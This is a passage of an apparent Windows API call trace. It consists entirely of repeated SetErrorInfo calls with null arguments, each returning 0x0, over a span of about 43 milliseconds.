[0046.785] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.785] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.786] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.786] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.786] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.788] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.788] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.788] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.788] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.788] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.788] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.788] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.788] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.788] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.788] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.789] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.790] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.790] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.791] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.791] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.791] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.792] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.794] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.796] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.797] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.800] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.801] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.820] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.820] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.820] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.820] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.820] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.820] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.820] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.820] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.820] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.820] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.821] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.821] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.821] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.821] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.821] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.821] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.821] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.821] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.821] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.821] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.821] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.821] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.821] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.821] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.823] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.824] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.825] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.826] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 